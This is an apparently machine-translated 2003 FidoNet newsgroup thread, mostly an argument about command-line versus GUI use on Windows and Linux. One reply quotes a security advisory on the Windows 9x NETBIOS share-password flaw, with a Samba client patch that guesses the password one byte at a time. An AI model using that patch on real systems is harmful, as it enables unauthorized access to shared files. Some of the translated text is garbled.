Alexand
Press RESET immediately, Aleksandr Majorov!
On Sun, 24 Aug 03 01:48:29 +0400, Aleksandr Majorov wrote:
KF>> Established connections and listening ports are shown
KF>> netstat program, which you do not have.
AM> Why did you decide that he doesn’t have a netstat program?
He himself admitted this in previous letters.
·∙.■■■ Hi, Kirill! ■■■.∙·
Date:20 Aug 03 Time:03:42,
Kirill Frolov encrypted a letter to agent Aleksandr Kolotukhin.
Subject: Re: RST attack
AK>> will block access to shared resources from the Internet. If available
AK>> is needed, but then put passwords on shared folders and drives, and
AK>> desirable
AK>> complex passwords.
KF> That's what I mean - for any complex password you need several
KF> seconds. And at a minimum you can only guess the first letter, this will happen
KF> is enough.
By guessing the first letter, can you remove the password from the folders? How?
·∙.■■■ Happy Kirill! ■■■.∙·
Press RESET immediately, Aleksandr Kolotukhin!
On Sun, 24 Aug 03 22:34:33 +0400, Aleksandr Kolotukhin wrote:
AK> By guessing the first letter, can you remove the password from folders? How?
Description below. There are even special programs that scan
network and offer a choice of a list of computers that can be broken.
Then, one letter at a time, just like in the movies, they guess the password...
=== cut here ===
NSFOCUS Security Advisory(SA2000-05)
Topic: Microsoft Windows 9x NETBIOS password verification vulnerability
Release Date: August 24, 2000
Update Date: Oct 11, 2000
Affected System:
================
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows 98 Second Edition
- Microsoft Windows Me
Non-affected System:
====================
- Microsoft Windows NT 4.0
- Microsoft Windows 2000
Impact:
==========
A vulnerability exists in the password verification scheme utilized by
Microsoft Windows 9x NETBIOS protocol implementation. This vulnerability will
allow any user to access the Windows 9x file shared service with password
protection. Attacker don't have to know the share password.
Description:
=============
You can set password to protect Microsoft Windows 9x system's shared resources.
But a vulnerability exists in the password verification scheme utilized by
Microsoft Windows 9x NETBIOS protocol implementation. To verify the password,the length of the password depends on the length of the data sent from client
to server. That is, if a client set the length of password to be one byte and
send the packet with plaintext password to server, the server will only compare
it with the first byte of the shared password(plaintext), and if consistent,
verification process is done. All an attacker need to do is to guess and try
the first byte of password in the victim. Windows 9x remote management system
is also affected cause it adopts the same shared password authentication
method.
Exploit:
=========
Here is one simple example to demonstrate this bug.
Get samba source package and modify source/client/client.c like this:
-+- samba-2.0.6.orig/source/client/client.c Thu Nov 11 10:35:59 1999
+++ samba-2.0.6/source/client/client.c Mon Sep 18 21:20:29 2000
@@ -1961,12 +1961,22 @@ struct cli_state *do_connect(char *serve
DEBUG(4,(" session setup ok
"));
+/*
if (!cli_send_tconX(c, share, "?????",
password, strlen(password)+1)) {
DEBUG(0,("tree connect failed: %s
", cli_errstr(c)));
cli_shutdown(c);
return NULL;
}
+*/
+
+ password[0] = 0;
+ c->sec_mode = 0;
+ do{
+
+ password[0]+=1;
+
+ }while(!cli_send_tconX(c, share, "?????", password, 1));
DEBUG(4,(" tconx ok
"));
Workaround:
=========
Close Microsoft File and Print shared service.
xIntruder реализует описанную выше атаку. Приятственная прога ;-) . HеWe forget that W9x/WinMe does not allow you to set the password length to more than 8 characters and
cuts these passwords shamelessly without informing the user about it (I gave an example) - and
It's getting really "fun" :-( .
Bye!
=== cut here ===
Hello Kirill!
24 Aug 03 08:33, Kirill Frolov -> Aleksandr Majorov:
[skipped]
KF>>> Established connections and listening ports are shown
KF>>> netstat program, which you do not have.
AM>> Why did you decide that he doesn’t have a netstat program?
KF> He himself admitted this in previous letters.
I may surprise you, but the netstat program is available standard in Windows.
There is also arp, route, tracert, ipconfig, ping, net, ftp, telnet, ...
However, I am not considering installing a neutered version of Windows.
Alexand
Hello Kirill!
Monday 25 August 2003 18:59:44 Aleksandr Majorov -> Kirill Frolov:
AM>>> Why did you decide that he doesn’t have a netstat program?
KF>> He himself admitted this in previous letters.
AM> I may surprise you, but the netstat program is available as standard
AM> in Windows.
AM> And there is also arp, route, tracert, ipconfig, ping, net, ftp,
AM> telnet, ...
I confirm that I have all this in stock.
[REAL ZX]
Press RESET immediately, Aleksandr Majorov!
On Mon, 25 Aug 03 17:59:44 +0400, Aleksandr Majorov wrote:
KF>>>> Established connections and listening ports are shown
KF>>>> netstat program, which you do not have.
AM>>> Why did you decide that he doesn’t have a netstat program?
KF>> He himself admitted this in previous letters.
AM> I may surprise you, but the netstat program is available standard in Windows.
Newsgroups: zxnet.pc
X-Comment-To: Kirill Frolov
From: Nikolaj Amosov
Date: Tue, 19 Aug 03 20:48:32 +0400
Subject: Re: RST attack
Message-ID: <1061352593@p26.f2.n812.z500.ftn>
Organization: (c)
X-FTN-MSGID: 500:812/2.26 3f42f491
Hello Kirill!
Tuesday 19 August 2003 01:45:05 Kirill Frolov -> Nikolaj Amosov:
[...]
KF>>> help netstat
NA>> where is this? Winda didn't understand...
KF> Well, look in the "Windows Help". NT and W2k have it. In W98
KF> I don’t remember.
Now I have 98 again and I looked in it - there is nothing like that.
[...]
Hello Kirill!
Tuesday 26 August 2003 06:55:03 Kirill Frolov -> Aleksandr Majorov:
AM>>>> Why did you decide that he doesn’t have a netstat program?
KF>>> He himself admitted this in previous letters.
AM>> I may surprise you, but there is a netstat program
AM>> standard in Windows.
KF> Newsgroups: zxnet.pc
KF> X-Comment-To: Kirill Frolov
KF> From: Nikolaj Amosov
KF>
Hello Kirill!
26 Aug 03 06:55, Kirill Frolov -> Aleksandr Majorov:
[skipped]
AM>> I may surprise you, but the netstat program is available as standard
AM>> Windows.
[skipped]
KF>>>> help netstat
NA>>> where is this? Winda didn't understand...
KF>> Well, look in the "Windows Help". NT and W2k have it. In W98
KF>> I don’t remember.
KF> Now I have 98 again and I looked in it - there is nothing like that.
I'll surprise you again, but neither netstat, nor ping, nor arp are described in the Windows strpack
Which does not mean at all that these programs themselves do not exist. Moreover - help
these programs are called using the /? when starting these programs.
And where you sent NA is a help on using Windows for users.
There's not even a description for msinfo32! Because all of these are utility utilities, access to
which is missing from the Start menu. And these utilities are not at all intended for
simple users, but only for administrators and the like.
And MS, IMHO, does not specifically describe all this, so to speak, to avoid it.
Alexand
Press RESET immediately, Aleksandr Majorov!
On Tue, 26 Aug 03 21:52:27 +0400, Aleksandr Majorov wrote:
KF>> Now I have 98 again and I looked in it - there is nothing like that.
AM> I'll surprise you again, but neither netstat nor ping are described in the Windows strpack
You won't surprise me. Ask AA why he was on the command line
don't try typing netstat.
AM> There isn't even a description for msinfo32! Because all of these are utility utilities,
AM> which cannot be accessed from the Start menu. And these utilities are not at all
AM> are intended for
In the start menu there is a "command line" icon that you need to drag to
autostart.
AM> And IMHO MS does not specifically describe all this, so to speak, to avoid it.
I don’t know what MS is thinking at all. But in w'98 there are *.txt and *.doc files and
*.rtf and *.wri scattered throughout the /windows directory tree, so in these
The files contain a lot of useful information. In NT, the help program provides help on
some "service" commands.
Hello Kirill!
27 Aug 03 03:10, Kirill Frolov -> Aleksandr Majorov:
[skipped]
KF> You won't surprise me. Ask AA why he was in the team room
KF> line do not try to type netstat.
Because you told him to type "help netstat".
AM>> There isn't even a description for msinfo32! For all this is official
AM>> utilities that cannot be accessed from the Start menu. And these
AM>> utilities are not intended for
KF> In the start menu there is a "command line" icon that you need
KF> drag to autorun.
What for???
Alexand
Press RESET immediately, Aleksandr Majorov!
On Wed, 27 Aug 03 09:18:31 +0400, Aleksandr Majorov wrote:
KF>> In the start menu there is a "command line" icon that you need
KF>> drag to autorun.
AM> What for???
So that there is a place to enter commands from the keyboard.
Hello Kirill!
28 Aug 03 04:14, Kirill Frolov -> Aleksandr Majorov:
[skipped]
KF>>> In the start menu there is a “command line” icon that you need
KF>>> drag to autorun.
AM>> What for???
KF> To have a place to enter commands from the keyboard.
Now explain why, every time you start Windows, enter some commands with
keyboards.
Commands are entered only when needed. To do this, just call
"command line" from the menu.
Alexand
·∙.■■■ Hi, Nikolaj! ■■■.∙·
Date:26 Aug 03 Time:22:24,
Nikolaj Amosov encrypted a letter to agent Kirill Frolov.
Subject: Re: RST attack
[crbg!!! ]
KF>> Now I have 98 again and I looked in it - no
KF>> like this.
NA> I confirm - Search and Index in Help do not have such a topic.
Run DN or FAR, remove panels, type netstat -? or ping -?.
·∙.■■■ Happy Nikolaj! ■■■.∙·
Press RESET immediately, Aleksandr Majorov!
On Thu, 28 Aug 03 11:22:54 +0400, Aleksandr Majorov wrote:
KF>> To have a place to enter commands from the keyboard.
AM> Now explain why, every time you start Windows, you need to enter some
AM> keyboard commands.
Not at startup, but after user authorization.
Now explain why you need to “log in” if you don’t enter any commands
not planned?
AM> Commands are entered only when needed. Enough for this
AM> call "command line" from the menu.
And so every time. It’s easier to do it humanely once.
Hello Kirill!
29 Aug 03 01:50, Kirill Frolov -> Aleksandr Majorov:
[skipped]
AM>> Now explain why you need to enter every time _every_ Windows starts
AM>> some commands from the keyboard.
KF> Not at startup, but after user authorization.
One bullshit.
KF> Now explain why you need to “log in” if there are none
KF> are there any plans to introduce commands?
Because Windows is a graphics-oriented OS.
And the average user does not need the command line AT ALL. Here to launch programs
There are icons on the desktop and in the start menu.
But you still haven’t explained why the user needs to constantly have a command line on the screen,
and what will he type in it?
AM>> Commands are entered only when needed. For this
AM>> just call the “command line” from the menu.
KF> And so every time. It’s easier to do it humanely once.
Humanly speaking, the average user does not need the command line _at all_.
And the administrator can occasionally call the command line, because he has to do this
rarely.
Alexand
Press RESET immediately, Aleksandr Majorov!
On Fri, 29 Aug 03 21:13:10 +0400, Aleksandr Majorov wrote:
AM>>> Now explain why you need to enter every time _every_ Windows starts
AM>>> some commands from the keyboard.
KF>> Not at startup, but after user authorization.
AM> One piece of garbage.
Two big differences. The computer can, without user intervention
perform any “services” in Windows and “daemons” in Unix.
KF>> Now explain why you need to “log in” if there are none
KF>> are there any plans to enter commands?
AM> Because Windows is a graphics-oriented OS.
Linux with X is also graphics-oriented...
AM> And the average user does not need the command line AT ALL.
As long as a person uses language (otherwise he will already
not a human) he will need a text-oriented interface.
Even almost any human program is focused on work
with text first.
AM> But you still haven’t explained why the user needs to have
AM> command line, and what will he type in it?
Teams, of course. This requires, however, a command language,
with which things are bad in Windows...
Hello, Kirill!
30 Aug 03, 00:34, Kirill Frolov wrote to Aleksandr Majorov on the topic "Re:
RST attack":
AM>> But you still haven’t explained why the user should have it constantly on the screen
AM>> command line, and what will he type in it?
KF> Commands, of course. This requires, however, a command language
KF> with which things are bad in Windows...
There are operating systems _at all_ without a command line, and nothing, they live.
Happy connections. Roman.
*** Reply to message from CARBON.COPIES (<>).
Hello Kirill!
30 Aug 03 00:34, Kirill Frolov -> Aleksandr Majorov:
[skipped]
KF>>> Now explain why you need to “log in” if there are none
KF>>> are there no plans to enter commands?
AM>> Because Windows is a graphics-oriented OS.
KF> Linux with X is also graphics-oriented...
That's right. Does a terminal window immediately open when you start KDE or Gnome?
Normally, by default.
IMHO no.
AM>> And the average user does not need the command line AT ALL.
KF> As long as a person uses language (otherwise he already
KF> is not a person) he will need a text-oriented interface.
KF> Even almost any program is focused on work
KF> with text first.
Don’t confuse entering text _into_the_program_ (i.e. WORKING WITH THE PROGRAM) and entering text
_for_controlling_ a computer.
These are two big differences.
AM>> But you still haven’t explained why the user should have it constantly on the screen
AM>> command line, and what will he type in it? KF> Commands, of course. This requires, however, a command language
KF> with which things are bad in Windows...
Well, let's take Linux, with its developed command language.
We put KDE/Gnome/whatever else/..., we put some kind of office.
We set everything up.
So, the user needs to type and print the text.
It launches the office equivalent of Windows Word.
Now explain what commands in what language a _regular_ user should
enter in the terminal window.
And at the same time, tell us what commands the user should enter in the command line window,
when working in Windows, in the same Word/Excel/etc.
Alexand
Press RESET immediately, Aleksandr Majorov!
On Sat, 30 Aug 03 17:37:58 +0400, Aleksandr Majorov wrote:
AM>>> Because Windows is a graphics-oriented OS.
KF>> Linux with X is also graphics-oriented...
AM> Correct. Is it possible that when you start KDE or Gnome, the window immediately opens?
AM> terminal?
What does KDE or Gnome have to do with this? I'm running xterm, not
depending on the availability of everything else. And this, by the way, is in the original
X settings are included (twm, clock and several xterms are launched).
AM> Standard, default. IMHO no.
This has been remade in some modern Linux systems “so that everything is like in
Windows". There are even coloring book themes for Windows.
KF>> As long as a person uses language (otherwise he already
KF>> is not a person) he will need a text-oriented interface.
KF>> Even almost any program is focused on work
KF>> with text first.
AM> Don't confuse text input _in_program_ (i.e. WORKING WITH THE PROGRAM)
AM> and entering text _to_control_ the computer. These are two big differences.
Well, turn off all fonts except windings, dingbats, etc. and managecomputer...
KF>> Commands, of course. This requires, however, a command language
KF>> with which things are bad in Windows...
AM> Well, let's take Linux, with its developed command language.
AM> We put KDE/Gnome/whatever else/..., we put some kind of office.
You are still in the process of installing and configuring the command line
will be needed.
AM> We set everything up.
Install LaTeX...
AM> So, the user needs to type and print the text.
AM> It launches the office analogue of Windows Word.
It launches any text editor... from the command line
of course, because you need to look for it in the menus for half an hour and find out
that it still needs to be added there.
AM> Now explain which commands in which language _regular_ user
AM> must be entered in a terminal window.
He will enter them in the editor. Then he says make and enjoys
a list of errors, then fixes it... once for the Nth time it will be ready for printing
text.
Even when printing from any analogue of Word (I use AbiWord) I prefer
Before you waste, let the paper go and take the time to look at what
it worked. You may have to cancel it during printing.slow down, start from a certain page (the printer jammed the sheet). That's all
you need a command line.
AM> And at the same time, tell me what commands the user should enter in the command window
AM> lines, when working in Windows, in Word/Excel/etc.
Then tell me, why do users need headlights and total commander?
I think that there is enough explorer for everyone.
Press RESET immediately, Roman Alexandrov!
On Sat, 30 Aug 03 12:17:37 +0400, Roman Alexandrov wrote:
KF>> Commands, of course. This requires, however, a command language
KF>> with which things are bad in Windows...
RA> There are operating systems _at all_ without a command line, and nothing, they live.
In phones, refrigerators...
The command line is not a property of the operating system, but one of the programs.
Greetings, Aleksandr, reading this nonsense...
I remember 30 Aug 03 18:37, Aleksandr Majorov spoke with Kirill Frolov... Well then
we will answer:
KF>>>> Now explain why you need to “log in” if there are none
KF>>>> are there no plans to enter commands?
AM>>> Because Windows is a graphics-oriented OS.
KF>> Linux with X is also graphics-oriented...
Not true. Linux is the kernel. It has the ability to be used as graphics,
and purely text mode. There is no such option in Windows - only graphics.
AM> Correct. Is it possible that when you start KDE or Gnome, a window immediately opens
AM> terminal? Normally, by default. IMHO no.
AM>>> And the average user does not need the command line AT ALL.
There are simply different ideologies between Unix and Windows.
Uniches appeared at a time when no one dared to think about graphics.
Accordingly, developers are accustomed to the command line, so in niks through
the command line can be accessed anywhere, but through the gui - no (rhyme
begs the question :).
From the very beginning they planned to make Windows like this so that they could poke here, then
here and here's the whole setup for you.
KF>> As long as a person uses language (otherwise he already KF>> is not a person) he will need a text-oriented interface
KF>> interface. Even almost any programming program is oriented
KF>> to work with text first.
depending on what you do...
AM> Don't confuse entering text _into_the_program_ (i.e. WORKING WITH THE PROGRAM) and
AM> text input _for_computer_control. These are two big differences.
AM>>> But you still haven’t explained why the user should have it constantly on the screen
AM>>> command line, and what will he type in it?
It’s up to anyone, it’s always been more convenient for me to sit in mc or headlight on the full screen, press
F5 or write copy(cp), others find it more convenient to use Explorer. I started back in
Spectrum times where guy was funny (but I remember I had MicroWindows :))),
then I spent many years in dosa - hence my addictions.
KF>> Commands, of course. For this, however, you need a team member
KF>> a language with which things are bad in Windows...
AM> Well, let's take Linux, with its developed command language.
AM> We put KDE/Gnome/whatever else/..., we put some kind of office.
AM> We set everything up. AM> So, the user needs to type and print the text.
AM> It launches the office analogue of Windows Word.
AM> Now explain which commands are in which language _regular_
AM> the user must enter in the terminal window.
hmm... but you can convert it to text and print it :)
2 commands :)
AM> And at the same time, tell me what commands the user should enter in the window
AM> command line, when working in Windows, in the same Word/Excel/etc.
AM> next.
By the way, there is a huge amount of goofy software in which you can’t use just one mouse
right (autocad for example)
Let me say goodbye to you Aleksandr...
on distribution - points in *realnet*, *kotnet*, *progressivenet*,
*skynet*...
*** Reply to message from CARBON.COPIES (<>).
Hello Kirill!
31 Aug 03 06:58, Kirill Frolov -> Aleksandr Majorov:
[skipped]
AM>>>> Because Windows is a graphics-oriented OS.
KF>>> Linux with X is also graphics-oriented...
AM>> Correct. But when you start KDE or Gnome, it immediately opens
AM>> terminal window?
KF> What does KDE or Gnome have to do with it?
Because without such graphical shells it’s funny to say that Linux
graphics-oriented OS.
KF> I run xterm, regardless of the availability of everything else.
This is for you, you are not an indicator.
KF> And this, by the way, is included in the initial settings of X (it starts
KF> twm, clock and several xterms).
KrasnoShlyapiya 8.2, when I launched the graphical shell there were no windows
terminals. To launch it, you had to look at the prototype of the start menu.
AM>> Standard, default. IMHO no.
KF> This has been redone in some modern Linux systems, “so that everything is like in
KF> Windows". There are even coloring book themes for Windows.
That's right. Because the average user does not need this.
[skipped] AM>> Don’t confuse text input _into_the_program_ (i.e. WORKING WITH THE PROGRAM)
AM>> and entering text _to_control_ the computer. These are two big differences.
KF> Well, turn off all fonts except windings, dingbats, etc. and manage
KF> computer...
Explain how the presence/absence of fonts relates to the management/setup of the computer.
[skipped]
AM>> Well, let's take Linux, with its developed command language.
AM>> We install KDE/Gnome/whatever else/..., we install some kind of office.
KF> You are still in the process of installing and configuring the command line
KF> will be needed.
Apparently you don't understand. I don’t know anything about setup or the work of an administrator.
spoke. Kam CLI is needed.
[skipped]
AM>> So, the user needs to type and print the text.
AM>> It launches the office analogue of Windows Word.
KF> It launches any text editor... from the command line
KF> of course, because it takes half an hour to look for it in the menus
The icon is on the desktop, or in the "start" menu - "programs" - "editor"
KF> and find out that it still needs to be added there.
Where to add? And why do you need the command line for this? AM>> Now explain which commands are in which language _regular_
AM>> the user must enter in the terminal window.
KF> He will enter them in the editor. Then he says make and enjoys
KF> a list of errors, then fixes... once for the Nth time it will be ready for
KF> print text.
What? What other make on a _text_ file?
Oh, you're talking about TeX.
Well then, tell me: what is the percentage of ordinary users who “in half an hour
need to submit a report" will suffer with the command line, "compilation" and
fixing errors?
When can you use a “normal” text editor that works in a GUI?
"What you see is what you get" technology.
KF> Even when printing from any analogue of Word (I use AbiWord) I
KF> I’d prefer to let the paper go and take the time to look at it before wasting it
KF> what happened.
That's right, for this I click the "preview" button and see what I have
it will work out. Yes, and programming the preview is very simple - it’s the same stuff,
only the output goes to another device.
KF> During printing, you may have to cancel it
Printer - cancel printing.
KF> slow down
Printer - pause KF> start from a specific page (the printer jammed the sheet).
Any program with printing - printing - starts from page Y.
KF> All this requires the command line.
But how do I (and not only me) manage to do all this without the command line?
AM>> And at the same time, tell me what commands the user should enter in the window
AM>> command line, when working in Windows, in the same Word/Excel/etc.
AM>> next.
KF> Then tell me, why do users need headlights and total commander?
KF> I think that there is enough explorer for everyone.
I may surprise you again, but very ordinary users don’t even have a guide
necessary. Or the conductor is really missing.
And the headlights/total commander/conductor, etc. are precisely designed to
_do not_remember_ commands and do not enter them from the command line.
Plus, file managers can significantly speed up your work.
I'll be much quicker at marking files and pressing F5 while you type "copy [path to
file] [where to copy]", especially if there are a lot of files.
Alexand
Press RESET immediately, Aleksandr Majorov!
On Sun, 31 Aug 03 09:48:45 +0400, Aleksandr Majorov wrote:
KF>> What does KDE or Gnome have to do with it?
AM> Because without such graphical shells it’s funny to say that it’s Linux
AM> graphics-oriented OS.
You're either chasing or I'm not catching up...
These, as you put it, shells are copies of Windows explorer.exe,
and have nothing to do with graphics, except that they themselves use it.
KF>> I run xterm, regardless of the presence of everything else.
AM> This is yours, you are not an indicator.
The Red Hat is especially not an indicator - it is Windows (a copy).
KF>> This has been redone in some modern Linux systems “so that everything is like in
KF>> Windows". There are even coloring book themes for Windows.
AM> Correct. Because the average user does not need this.
Who is a regular user? Am I a regular user?
KF>> Well, turn off all fonts except windings, dingbats, etc. and manage
KF>> computer...
AM> Explain how the presence/absence of fonts and management/configuration relates
AM> company.
You will have a non-text interface. KF>> It launches any text editor... from the command line
KF>> of course, because it takes half an hour to look for it in the menus
AM> The icon is on the desktop, or in the "start" menu - "programs" -
AM> "editor"
Have you tried it yourself? You'll get tired of dragging these icons around with your mouse.
You need to go to the directory, for which you open about 5 windows, drag
file on an icon littered with other windows...
KF>> and find out that it still needs to be added there.
AM> Where to add?
On the menu! Or on 'desktop'.
AM> And why the command line for this?
It’s easier for me to call ‘vim’ from a line every time. Don't reach for the mouse
necessary. Practice shows that the menu is needed only to launch more
one xterm.
KF>> He will enter them in the editor. Then he says make and enjoys
KF>> a list of errors, then fixes... once for the Nth time it will be ready for
KF>> print text.
AM> What? What other make on a _text_ file?
Well, of course, not in jpeg...
AM> Oh, you're talking about TeX.
AM> Well then tell me: what is the percentage of ordinary users who are “through the floor AM> hours you need to submit a report" will suffer with the command line, "compilation"
AM> and fixing errors?
If you only need a couple of printed pages, then I won’t suffer.
wordpad.exe, that is, abiword, rules in this case.
AM> When can you take a “normal” text editor that works in GUI software
AM> “what you see is what you get” technologies.
Often this technology works like “what you get is completely different from what
see" (at least because the printer and screen have different fonts) and not
she is needed at all.
KF>> Even when printing from any analogue of Word (I use AbiWord) I
KF>> before wasting it, I’d prefer to let the paper go and take the time to look at it
KF>> what happened.
AM> That's right, for this I click the "preview" button and see what I have
AM> will work. Yes, and programming the preview is quite simple - it’s the same
AM> print, only the output goes to another device.
KF>> During printing, you may have to cancel it
AM> Printer - cancel printing.
KF>> slow down
AM> Printer - pauseIn Debian (Slackware8.0, RH6.0, Caldera x.x, Mandrake7.0, SUSE8.x, ASP 7.x)
There is no "Printer and Preview" button. And the preview is handled by ghostscript.
KF>> start from a specific page (the printer jammed the sheet).
AM> Any program with printing - printing - started from page Y.
I prefer to start printing directly from ghostview.
KF>> Then tell me, why do users need headlights and total commander?
KF>> I think that there is enough explorer for everyone.
AM> I may surprise you again, but very ordinary users don’t even have an explorer
AM> needed. Or the conductor is really missing.
He is not a guide, but a researcher (geologist, medical probe).
Needed, definitely. To be able to open the “folder”, the icons were on
'desktop' and the 'start' menu.
AM> And the headlights/total commander/conductor, etc. are precisely created for this purpose
AM> _do not_remember_ commands and do not enter them from the command line.
In order not to remember commands in W'98 there is doskey.exe, in NT itself
remembers.
AM> Plus, file managers can significantly speed up work.
AM> I'll much faster mark the files and press F5 while you type "copy AM> [path to file] [where to copy]", especially if there are a lot of files.
There is a “guide” for this. Special case, mark by mask or
applying a command to a group of files is solved directly from the command line.
The commander (file manager is an “explorer”) is not needed.
Hello, Kirill!
31 Aug 03, 07:02, Kirill Frolov wrote to Roman Alexandrov on the topic "Re:
RST attack":
KF>>> Commands, of course. This requires, however, a command language
KF>>> with which things are bad in Windows...
RA>> There are operating systems _generally_ without a command line, and nothing, they live.
KF> In phones, refrigerators...
MAC OS
Happy connections. Roman.
Hello Paul!
31 Aug 03, 09:40, Paul Malishev wrote to Aleksandr Majorov on the topic "Attack
RST":
KF>>>>> Now explain why you need to “log in” if there are no
KF>>>>> are there no plans to enter commands?
AM>>>> Because Windows is a graphics-oriented OS.
KF>>> Linux with X is also graphics-oriented...
PM> Not true. Linux is the kernel. It has the ability to use both
PM> graphics and pure text mode. There is no such option in Windows --
PM> graphics only.
This statement is not entirely true.
Happy connections. Roman.
Press RESET immediately, Roman Alexandrov!
On Mon, 01 Sep 03 06:48:01 +0400, Roman Alexandrov wrote:
RA>>> There are operating systems _generally_ without a command line, and nothing, they live.
KF>> In phones, refrigerators...
RA> MAC OS
Is it okay, what's inside BSD?
*** Reply to message from CARBON.COPIES (<>).
Hi Paul!
31 Aug 03 09:40, Paul Malishev -> Aleksandr Majorov:
[skipped]
AM>>>> Because Windows is a graphics-oriented OS.
KF>>> Linux with X is also graphics-oriented...
PM> Not true. Linux is the kernel. It has the ability to use both
It says “Linux with X” above.
[skipped]
AM>>>> And the average user does not need the command line AT ALL.
PM> There are simply different ideologies of Unix and Windows.
PM> Uniches appeared at a time when no one even thought about graphics
PM> bold. Accordingly, developers are accustomed to the command line, so
~~~~~~~~~~~~~
Developers need the command line, I don’t argue with that. (I use it myself)
[skipped]
AM>> Don’t confuse text input _into_the_program_ (i.e. WORKING WITH THE PROGRAM)
AM>> and entering text _to_control_ the computer. These are two big differences.
AM>>>> But you still haven’t explained why the user should have it constantly on the screen
AM>>>> command line, and what will he type in it? PM> it depends on who, it was always more convenient for me to sit in mc or headlight for the whole
PM> screen, press F5 or write copy(cp),
So is it still “press F5” or “write copy”?
[skipped]
AM>> So, the user needs to type and print the text.
AM>> It launches the office analogue of Windows Word.
AM>> Now explain which commands are in which language _regular_
AM>> the user must enter in the terminal window.
PM> hmm... but you can convert it to text and print it :)
PM> 2 commands :)
I don't understand, please explain.
AM>> And at the same time, tell me what commands the user should enter in the window
AM>> command line, when working in Windows, in the same Word/Excel/etc.
AM>> next.
PM> By the way, there is a huge amount of software in which you can use just one mouse
PM> not correct (autocad for example)
Well, one mouse can’t handle it either)
By the way, the conversation is not about the need to enter text _in_the_program_, but about
Does the average user need to have a terminal window on the screen all the time?
constant input of DOS/shell commands
Alexand
Hello Kirill!
01 Sep 03 06:07, Kirill Frolov -> Aleksandr Majorov:
[skipped]
KF>>> What does KDE or Gnome have to do with it?
AM>> Because without such graphical shells it’s funny to say that
AM>> Linux graphics-oriented OS.
KF> You're either chasing or I'm not catching up...
KF> These, as you put it, shells are copies of the Windows one
KF> explorer.exe, and has nothing to do with graphics, except that they themselves
KF> use, do not have.
What difference does it make if shells copy something?
If the shell + X + Linux allows you to work with icons on the desktop and with
programs, then we can talk about this whole bunch as
"graphics-oriented OS".
KF>>> I run xterm, regardless of whether everything is available
KF>>> the rest.
AM>> This is yours, you are not an indicator.
KF> Red Hat is certainly not an indicator - it is Windows (a copy).
What kind of Windows is it if the kernel and everything else is Linux?
KF>>> This has been redone in some modern Linux systems, “so that everything
KF>>> as in Windows". There are even coloring book themes for Windows. AM>> Correct. Because the average user does not need this.
KF> Who is a regular user? Am I a regular user?
A person who does not need to know how it works inside. to whom
You need to work on the computer, and not figure out how to set it all up.
A person who does not configure/install software and hardware.
Who knows how to launch the programs he needs and how to work with them.
KF>>> Well, turn off all fonts except windings, dingbats, etc. and
KF>>> control the computer...
AM>> Explain how the presence/absence of fonts and
AM>> computer management/configuration.
KF> You will have a non-text interface.
No. There will be Windows crooked by crooked hands. And such “removers” themselves are needed
format through one.
KF>>> It launches any text editor... from the command line
KF>>> of course, because it takes half an hour to look for it in the menus
AM>> The icon is on the desktop, or in the "start" menu - "programs" -
AM>> "editor"
KF> Have you tried it yourself?
Yes. I have the necessary icons on my desktop, I also have a “folder” inwhich contains icons for launching toys. Homemade without any problems
they launch all this and calmly play/watch movies (cartoons)/type texts.
KF> You'll get tired of moving these icons with your mouse.
KF> You need to go to the directory, for which you need to open about 5 windows
KF> drag the file onto the icon littered with other windows...
It is the job of the system administrator to configure everything as needed.
And for some reason I don’t remember the “nerds” you described.
One window opens, and from it we drag the icon onto the desktop.
What am I doing wrong?
[skipped]
AM>> And why the command line for this?
KF> It’s easier for me to call ‘vim’ from the line every time. Don't reach for the mouse
KF> necessary. Practice shows that the menu is needed only to launch more
KF> one xterm.
This is _for you_. As I said, not everyone is like you.
It’s easier for me to click on the icon on the desktop, click on the icon in the panel
quick launch, press an additional key on the keyboard (fortunately there are
a lot), press the button on the TV tuner remote control.
And all this is faster than opening a console window and typing something there.
[skipped]
AM>> When can you take a “normal” text editor working in
AM>> GUI based on “what you see is what you get” technology. KF> Often this technology works like “what you get is completely different
KF> you see" (at least because the printer and screen have different fonts)
These are problems of the programmer’s crooked hands and (most often) the one who configured
system.
KF> and it is not needed at all.
Again, it’s not up to you to decide what is needed and what is not.
[skipped]
KF> In Debian (Slackware8.0, RH6.0, Caldera x.x, Mandrake7.0, SUSE8.x,
KF> ASP 7.x) there is no "Printer and Preview" button. A preview
KF> is handled by ghostscript.
You know, not a single version of Windows has this button either. But she is
in almost all programs that print something.
And this is a question for programmers, why they didn’t create such a function.
Because it is much faster/more convenient for an ordinary user to click one directly in the program
button rather than doing some strange movements with the console.
KF>>> start from a specific page (the printer jammed the sheet).
AM>> Any program with printing - printing - started from page Y.
KF> I prefer to start printing directly from ghostview.
Well then it’s clear why your entire desktop is littered with windows.
As someone said about *niks:
They are trying to convince me that there is one paid Windows program,which makes everything much worse than a dozen free Linux ones, each
of which only 1/10 of what is needed is done.
[skipped]
AM>> I may surprise you again, but even for completely ordinary users
AM>> no conductor needed. Or the conductor is really missing.
KF> He is not a guide, but a researcher (geologist, medical
KF> probe). Needed, definitely. So that you can open the “folder”, icons
KF> were on the 'desktop' and the "start" menu.
Don’t confuse the need for a program for the system to work and the need
user programs.
The average user doesn't need kernel32.dll either :)
AM>> And the headlights/total commander/conductor, etc. are created for this purpose
AM>> to _not_remember_ commands and not enter them from the command line.
KF> In order not to remember commands in W'98 there is doskey.exe, in NT by itself
KF> remembers.
Remembers those already entered. Yes, and sometimes look among the heap of entered lines for the one
which does something that was introduced a week ago - long and boring.
AM>> Plus, file managers can significantly speed up work.
AM>> I'll mark the files much faster and press F5 while you type AM>> "copy [path to file] [where to copy]", especially if files
AM>> a lot.
KF> There is a “conductor” for this.
You assure me that everything needs to be entered on the command line!
KF> Special case,
KF> mark by mask
"gray asterisk", entering a mask, Enter - that's it, marked.
KF> or applying a command to a group of files is decided directly from the command line
KF> lines.
This is correct.
Although this is not always true. Open marked files in almost any program,
You can play what is marked in Winamp without any problems. Total Commander is
allows.
KF> Commander (file manager is an “explorer”) is not needed.
You do some research - what percentage of users in the office work with
using Explorer or a normal file manager and what percentage enters
all commands from the console.
And then offer, as an experiment, well... at least accountants to work
via the console. :)
Alexand
Press RESET immediately, Aleksandr Majorov!
On Mon, 01 Sep 03 18:29:50 +0400, Aleksandr Majorov wrote:
KF>> These, as you put it, shells are copies of the Windows one
KF>> explorer.exe, and has nothing to do with graphics, except that they themselves
KF>> use, do not have.
AM> What difference does it make if shells copy something?
AM> If the shell + X + Linux allows you to work with icons on the desktop and
AM> with programs, then we can talk about this whole bunch as
AM> about the "graphics-oriented OS".
